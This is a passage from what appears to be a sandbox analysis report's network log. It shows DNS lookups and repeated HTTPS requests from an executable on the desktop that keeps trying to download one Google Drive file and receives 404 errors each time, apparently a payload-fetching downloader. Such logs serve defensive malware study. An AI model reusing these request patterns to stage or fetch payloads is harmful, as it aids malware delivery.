Jan 10, 2025 15:42:35.970267057 CET	443	49875	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:35.970545053 CET	49875	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:45.986833096 CET	49876	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:45.986896992 CET	443	49876	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:45.987231970 CET	49876	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:45.987493992 CET	49876	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:45.987503052 CET	443	49876	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:46.238774061 CET	443	49876	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:46.238934994 CET	49876	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:46.239413023 CET	49876	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:46.239428043 CET	443	49876	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:46.239662886 CET	49876	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:46.239671946 CET	443	49876	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:46.512089968 CET	443	49876	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:46.512312889 CET	443	49876	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:46.512310982 CET	49876	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:46.512497902 CET	49876	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:46.512546062 CET	49876	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:46.512573957 CET	443	49876	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:46.513251066 CET	49877	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:46.513304949 CET	443	49877	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:46.513482094 CET	49877	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:46.513668060 CET	49877	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:46.513678074 CET	443	49877	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:46.765414953 CET	443	49877	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:46.765598059 CET	49877	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:46.765883923 CET	49877	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:46.765892029 CET	443	49877	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:46.766110897 CET	49877	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:46.766119957 CET	443	49877	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:47.103347063 CET	443	49877	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:47.103395939 CET	443	49877	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:47.103451967 CET	443	49877	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:47.103552103 CET	49877	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:47.103662014 CET	49877	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:47.103662014 CET	49877	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:47.103914976 CET	49877	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:47.103914976 CET	49877	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:47.103928089 CET	443	49877	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:47.104074955 CET	49877	443	192.168.11.30	142.250.191.225

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 15:36:33.124061108 CET	63956	53	192.168.11.30	1.1.1.1
Jan 10, 2025 15:36:33.243156910 CET	53	63956	1.1.1.1	192.168.11.30
Jan 10, 2025 15:36:33.871442080 CET	52708	53	192.168.11.30	1.1.1.1
Jan 10, 2025 15:36:33.991992950 CET	53	52708	1.1.1.1	192.168.11.30

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 15:36:33.124061108 CET	192.168.11.30	1.1.1.1	0x697f	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:36:33.871442080 CET	192.168.11.30	1.1.1.1	0xecbd	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 15:36:33.243156910 CET	1.1.1.1	192.168.11.30	0x697f	No error (0)	drive.google.com		142.250.190.78	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:36:33.991992950 CET	1.1.1.1	192.168.11.30	0xecbd	No error (0)	drive.usercontent.google.com		142.250.191.225	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.30	49806	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:36:33 UTC	216	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache
2025-01-10 14:36:33 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:36:33 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-rdkhLhqn15sqwlBVrmuqHQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.30	49807	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:36:34 UTC	258	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-10 14:36:34 UTC	2219	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5wu2E1bw4dP98D9Cd8qt-fR5cPDpzpHDZyzjtvSLh1tODbAdXkictNtZur7WITLuQG Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:36:34 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-eVNEOKlFIO4tIMXX8hk3Rw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Set-Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby; expires=Sat, 12-Jul-2025 14:36:34 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:36:34 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4f 62 74 5a 39 34 36 64 48 62 75 6c 57 4c 38 49 4a 7a 64 79 53 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ObtZ946dHbulWL8IJzdySg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.30	49809	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:36:44 UTC	418	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:36:45 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:36:45 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-FssBMIH7-Whqo2qqOBfI9w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.30	49810	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:36:45 UTC	460	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:36:45 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5kna-4MJDm66IWy3HTrm96a3SOtgxvPwTSBiYgH14QQbQfw4OMAdUSIcwjwt-KqMfr Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:36:45 GMT Content-Security-Policy: script-src 'nonce-SLy5JSWeW27_I8BErWSEFA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:36:45 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4c 49 6b 6e 4d 4a 72 35 52 68 56 50 78 5a 70 5a 6e 65 43 56 55 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="LIknMJr5RhVPxZpZneCVUA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.11.30	49811	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:36:56 UTC	418	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:36:56 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:36:56 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-bp_s-wQ8VXJVXdt2Ucy_iQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.11.30	49812	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:36:56 UTC	460	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:36:57 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgQfUJXKG37pf2WWUDNxtkzQMnnEnh13b6h9btB7_sfVgFZAsOndl_RgeQic0B3WQnA_ Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:36:57 GMT Content-Security-Policy: script-src 'nonce-WhAlv9PDiQlv0IkQbT_SAA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:36:57 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 51 68 73 42 4a 53 4b 48 59 44 68 31 61 4e 5a 4a 72 68 47 4b 71 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="QhsBJSKHYDh1aNZJrhGKqg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.11.30	49813	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:37:07 UTC	418	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:37:07 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:37:07 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-WGWmkaDRDiln1Bvpa0pXfg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.11.30	49814	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
